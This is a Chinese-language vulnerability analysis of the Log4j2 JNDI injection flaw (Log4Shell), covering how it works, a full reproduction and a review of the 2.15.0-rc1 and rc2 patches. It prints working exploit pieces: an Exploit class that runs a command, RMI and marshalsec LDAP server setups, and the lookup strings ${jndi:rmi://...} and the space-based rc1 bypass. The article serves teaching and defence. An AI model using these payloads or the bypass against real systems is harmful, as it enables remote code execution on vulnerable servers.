https://www.freebuf.com/vuls/316143.html
前言
最近Log4j2的JNDI注入漏洞(CVE-2021-44228)可以稱之為“核彈”級別。Log4j2作為類似JDK級別的基礎類庫,幾乎沒人能夠幸免。極盾科技技術總監對該漏洞進行復現和分析其形成原理。在此分享。
以下涉及的代碼,均在mac OS 10.14.5,JDK1.8.0_91環境下成功運行。
一、 前置知識
1.1 Log4j2
Log4j2是一個Java日志組件,被各類Java框架廣泛地使用。它的前身是Log4j,Log4j2重新構建和設計了框架,可以認為兩者是完全獨立的兩個日志組件。本次漏洞影響范圍為Log4j2最早期的版本2.0-beta9到2.15.0。
因為存在前身Log4j,而且都是Apache下的項目,不管是jar包名稱還是package名稱,看起來都很相似,導致有些人分不清自己用的是Log4j還是Log4j2。這里給出幾個辨別方法:
- Log4j2分為2個jar包,一個是接口
log4j-api-${版本號}.jar
,一個是具體實現log4j-core-${版本號}.jar
。Log4j只有一個jar包log4j-${版本號}.jar
。 - Log4j2的版本號目前均為2.x。Log4j的版本號均為1.x。
- Log4j2的package名稱前綴為
org.apache.logging.log4j
。Log4j的package名稱前綴為org.apache.log4j
。
1.2 Log4j2 Lookup
Log4j2的Lookup主要功能是通過引用一些變量,往日志中添加動態的值。這些變量可以是外部環境變量,也可以是MDC中的變量,還可以是日志上下文數據等。
下面是一個簡單的Java Lookup例子和輸出:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public class Log4j2Lookup {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);
public static void main(String[] args) {
ThreadContext.put("userId", "test");
LOGGER.error("userId: ${ctx:userId}");
}
}
10:21:19.618 [main] ERROR Log4j2RCEPoc - userId: test
從上面的例子可以看到,通過在日志字符串中加入"${ctx:userId}",Log4j2在輸出日志時,會自動在Log4j2的ThreadContext
中查找並引用userId
變量。格式類似"${type:var}",即可以實現對變量var的引用。type可以是如下值:
- ctx:允許程序將數據存儲在 Log4j
ThreadContext
Map 中,然后在日志輸出過程中,查找其中的值。 - env:允許系統在全局文件(如 /etc/profile)或應用程序的啟動腳本中配置環境變量,然后在日志輸出過程中,查找這些變量。例如:
${env:USER}
。 - java:允許查找Java環境配置信息。例如:
${java:version}
。 - jndi:允許通過 JNDI 檢索變量。
- ......
其中和本次漏洞相關的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a}
,表示通過JNDI Lookup功能,獲取rmi//127.0.0.1:1099/a
上的變量內容。
1.3 JNDI
JNDI(Java Naming and Directory Interface,Java命名和目錄接口),是Java提供的一個目錄服務應用程序接口(API),它提供一個目錄系統,並將服務名稱與對象關聯起來,從而使得開發人員在開發過程中可以使用名稱來訪問對象 。
例如使用數據庫,需要在各個應用中配置各種數據庫相關的參數后使用。通過JNDI,可以將數據庫相關的配置在一個支持JNDI服務的容器(通常Tomat等Web容器均支持)中統一完成,並暴露一個簡潔的名稱,該名稱背后綁定着一個DataSource
對象。各個應用只需要通過該名稱和JNDI接口,獲取該名稱背后的DataSource
對象。當然,現在SpringBoot單體發布模式,極少會使用這種方式了。
再舉個更簡單的例子,這有點類似DNS提供域名到IP地址的解析服務。域名簡潔易懂,便於普通用戶使用,背后真正對應的是一個復雜難記的IP,甚至還可能是多個IP。DNS即JNDI服務,域名即可用於綁定和查找的名稱,IP即該名稱綁定的真正對象。用現代可以類比的技術來說,JNDI就是一個對象注冊中心。
JNDI由三部分組成:JNDI API、Naming Manager、JNDI SPI。JNDI API是應用程序調用的接口,JNDI SPI是具體實現,應用程序需要指定具體實現的SPI。下圖是官方對JNDI介紹的架構圖:
下面是一個簡單的例子:
public interface Hello extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
public HelloImpl() throws java.rmi.RemoteException {
super();
}
@Override
public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class HelloServer {
public static void main(String[] args) throws RemoteException, NamingException {
LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
context.bind("java:hello", new HelloImpl());
context.close();
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class HelloClient {
public static void main(String[] args) throws NamingException, RemoteException {
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");
InitialContext context = new InitialContext();
Hello rmiObject = (Hello) context.lookup("java:hello");
System.out.println(rmiObject.sayHello("world"));
context.close();
}
}
先運行HelloServer
,再運行HelloClient
,即可看到運行輸出的結果:sayHello
。
HelloServer
將HelloImpl
對象綁定到java:hello
名稱上。HelloClient
使用java:hello
名稱,即可獲取HelloImpl
對象。
1.4 JNDI注入
由前面的例子可以看到,JNDI服務管理着一堆的名稱和這些名稱上綁定着的對象。如果這些對象不是本地的對象,會如何處理?JNDI還支持從指定的遠程服務器上下載class文件,加載到本地JVM中,並通過適當的方式創建對象。
“class文件加載到本地JVM中,並通過適當的方式創建對象”,在這個過程中,static代碼塊以及創建對象過程中的某些特定回調方法即有機會被執行。JNDI注入正是基於這個思路實現的。
本篇文章主要分析Log4j2的JNDI注入產生原因,並不會對JNDI注入自身太過關注,網上也有大量分析的文章可供參考,這里就不再詳述了。
二、 漏洞復現
以下復現使用Log4j2-2.14.1版本,maven的引用依賴參考如下:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
- 編寫漏洞利用代碼Exploit並編譯生成Exploit.class。代碼如下:
public class Exploit {
static {
String cmd = "/Applications/Calculator.app/Contents/MacOS/Calculator";
final Process process;
try {
process = Runtime.getRuntime().exec(cmd);
process.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
- 本地執行
python3 -m http.server 8081
,啟動web服務器,監聽在8081端口。將上一步編譯生成的Exploit.class文件放到web服務的根目錄(根目錄即為執行python3 -m http.server 8081
命令的工作目錄)。
- 編寫RMI服務端代碼RMIServer,並編譯運行。代碼如下:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
registry.bind("exp", exploitWrapper);
}
}
- 編寫漏洞poc代碼,並編譯運行。代碼和運行結果如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2RCEPoc {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);
public static void main(String[] args) {
LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
}
}
三、 漏洞原理
由於是JNDI注入,因此可以通過在InitialContext.lookup(String name)方法上設置端點,觀察整個漏洞觸發的調用堆棧,來了解原理。調用堆棧如下:
整個調用堆棧較深,這里把幾個關鍵點提取整理如下:
LOGGER.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup
3.1 MessagePatternConverter.format()
poc代碼中的LOGGER.error()方法最終會調用到MessagePatternConverter.format()方法,該方法對日志內容進行解析和格式化,並返回最終格式化后的日志內容。當碰到日志內容中包含${
子串時,調用StrSubstitutor進行進一步解析。
3.2 StrSubstitutor.resolveVariable()
StrSubstitutor將${
和}
之間的內容提取出來,調用並傳遞給Interpolator.lookup()方法,實現Lookup功能。
3.3 Interpolator.lookup()
Interpolator實際是一個實現Lookup功能的代理類,該類在成員變量strLookupMap
中保存着各類Lookup功能的真正實現類。Interpolator對 上一步提取出的內容解析后,從strLookupMap
獲得Lookup功能實現類,並調用實現類的lookup()
方法。
例如對poc例子中的jndi:rmi://127.0.0.1:1099/exp
解析后得到jndi
的Lookup功能實現類為JndiLookup
,並調用JndiLookup.lookup()
方法。
3.4 JndiLookup.lookup()
JndiLookup.lookup()
方法調用JndiManager.lookup()
方法,獲取JNDI對象后,調用該對象上的toString()
方法,最終返回該字符串。
3.5 JndiManager.lookup()
JndiManager.lookup()
較為簡單,直接委托給InitialContext.lookup()
方法。這里單獨提到該方法,是因為后續幾個補丁中較為重要的變更即為該方法。
至此,后續即可以按照常規的JNDI注入路徑進行分析。
四、 補丁分析
4.1 2.15.0-rc1
通過比較2.15.0-rc1和該版本之前最后一個版本2.14.1之間的差異,可以發現Log4j2團隊在12月5日提交了一個名為Restrict LDAP access via JNDI (#608)
的commit。該commit的詳細內容如下鏈接:
https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
除去一些測試代碼和輔助代碼,該commit最主要內容是在3.5
章節中提到的 JndiManager.lookup()
方法增加了幾種限制,分別是allowedHosts
、allowedClasses
、allowedProtocols
。
各個限制的內容分別如下:
可以看到,rc1補丁通過對JNDI Lookup增加白名單的方式,限制默認可以訪問的主機為本地IP,限制默認支持的協議類型為java
、ldap
、ldaps
,限制LDAP協議默認可以使用的Java類型為少數基礎類型,從而大大減少了默認的攻擊面。
4.2 2.15.0-rc2
4.2.1 rc1中存在的問題
在rc1還未正式成為release版本之前,Log4j團隊又在兩天不到的時間里發布了rc2版本,說明rc1依然存在着一些問題。我們來看下rc1里主要修復的JndiManager.lookup()
方法的整體邏輯結構:
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
......
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
......
return null;
}
......
if (!allowedClasses.contains(className)) {
......
return null;
}
......
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
從上面的代碼結構中可以總結如下的邏輯:
- 對傳入的
name
參數進行4.1
章節提到的各類檢查。如果檢查不通過,則直接返回null
。 - 如果產生
URISyntaxException
,則對該異常忽略,繼續執行this.context.lookup(name)
。 - 如果未產生
URISyntaxException
,則執行this.context.lookup(name)
。
我們重點關注catch
代碼塊,rc1默認不對URISyntaxException
異常做任何處理,繼續執行后續邏輯,即this.context.lookup(name)
。
再看下try
代碼塊中可能產生URISyntaxException
的地方。很不幸,try
代碼塊的第一個語句即可能產生該異常:URI uri = new URI(name);
。
試想一下,如果能夠構造某個特殊的URI,導致URI uri = new URI(name);
語句解析URI異常,拋出URISyntaxException
,但又能被this.context.lookup(name)
正確處理,不就可以繞過了嗎?
4.2.2 繞過rc1
由於rc1未在maven中央倉庫上,因此需要自行下載代碼並構建:
到Log4j2的GitHub官方倉庫下載rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分別進入log4j-api和log4j-core目錄,執行mvn clean install -DskipTests
。最終會在本地maven倉庫上生成rc1的jar包,版本為2.15.0,后續測試使用該jar包。
由於rc1默認未開啟Lookup功能,需要先開啟,可以通過在配置文件的%msg
中添加{lookup}
進行開啟。在當前類路徑下添加log4j2.xml,內容參考如下:
<Configuration>
<Appenders>
<Console name="CONSOLE">
<PatternLayout>
<pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
</PatternLayout>
</Console>
</Appenders>
<Loggers>
<Root level="DEBUG">
<AppenderRef ref="CONSOLE"/>
</Root>
</Loggers>
</Configuration>
- 漏洞利用代碼和
二、漏洞利用
章節中一致,編譯生成Exploit.class。
- 本地執行
python3 -m http.server 8081
,啟動web服務器,監聽在8081端口。將上一步編譯生成的Exploit.class文件放到web服務的根目錄(根目錄即為執行python3 -m http.server 8081
命令的工作目錄)。
- 由於rc1中默認僅支持
java
、ldap
、ldaps
這三種協議,就使用LDAP協議吧。自己搭建LDAP服務器比較麻煩,這里直接利用下marshalsec
這個庫。運行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888
,啟動LDAP服務。
- 編寫漏洞poc代碼,並編譯運行。代碼和運行結果如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2RC1Bypass {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://127.0.0.1:8888/ exp}");
}
}
可以看到,通過構建一個簡單的帶空格的異形URI地址(127.0.0.1:8888/
和exp
之間),rc1被繞過了。
4.2.3 rc2的修復方案
通過比較2.15.0-rc1和2.15.0-rc2之間的差異,可以發現Log4j2團隊在12月10日提交了一個名為Handle URI exception
的commit。該commit的詳細內容如下鏈接:
https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658
該commit主要內容是對rc1中JndiManager.lookup()
方法里的catch
代碼塊進行了修改:當URISyntaxException
異常被捕獲時,直接返回null
。從而無法使用上一章節的異形URI地址繞過。
五、思考
本次漏洞就其原理來說,並不復雜,甚至有些簡單。rc1中采用較為嚴格的白名單限制,就應急處理方法上來看,無可厚非。但從歷史上發生的各類漏洞修補過程中來看,必定會有各種地方遺漏導致后續不停地打補丁。從軟件開發角度講,與其在上線后不停修復打補丁,不如在開發早期,即設計階段或者開發階段,盡量避免這類既有可能產生安全風險的設計。在最新版本的2.16.0,Log4j2團隊干脆默認禁用掉了JNDI Lookup功能。
另外,rc1中catch
代碼對異常的處理方式,在日常開發過程中也是容易犯的問題。安全中有一個原則,叫做“Fail Safely”,意為安全地處理錯誤。安全地處理錯誤是安全編程的一個重要方面。在程序設計時,要確保安全控制模塊在發生異常時遵循了禁止操作的處理邏輯。例如:一個判斷用戶驗證是否通過的代碼,默認應該設定用戶驗證不通過,僅僅在用戶驗證通過時才設置為驗證通過。這樣即使在驗證過程中發生了異常,並且該異常無意間被捕獲時,任然能確保用戶驗證不通過。
因為Log4j2框架幾乎是一個類似JDK級別的基礎類庫,即便自身應用程序里完成了升級,但極其大量的其它框架、中間件導致升級工作極為困難,甚至在幾年內都無法達到一個可接受的水平。目前,絕大部分公司采取在邊界防護設備上使用“臨時補丁”的方式。同時,大量bypass方法也隨之而來,這將是一個漫長的過程。
“臨時補丁”意味着無法根除,而底層依賴的升級又極為耗時,那么,如何更好地發現並規避在此期間產生的風險呢?
更多內容可參考析策XDR平台
https://www.jidun.cn/product/xice
參考
- Log4j2 Lookups: https://logging.apache.org/log4j/2.x/manual/lookups.html
- Oracle JNDI官方文檔: https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
- 一篇JNDI注入原理文章: http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
- marshalsec: https://github.com/mbechler/marshalsec
- Log4j2 2.14.1和2.15.0-rc1的區別比較: https://github.com/apache/logging-log4j2/compare/rel/2.14.1...log4j-2.15.0-rc1
- Log4j2 2.15.0-rc1和rc2的區別比較: https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2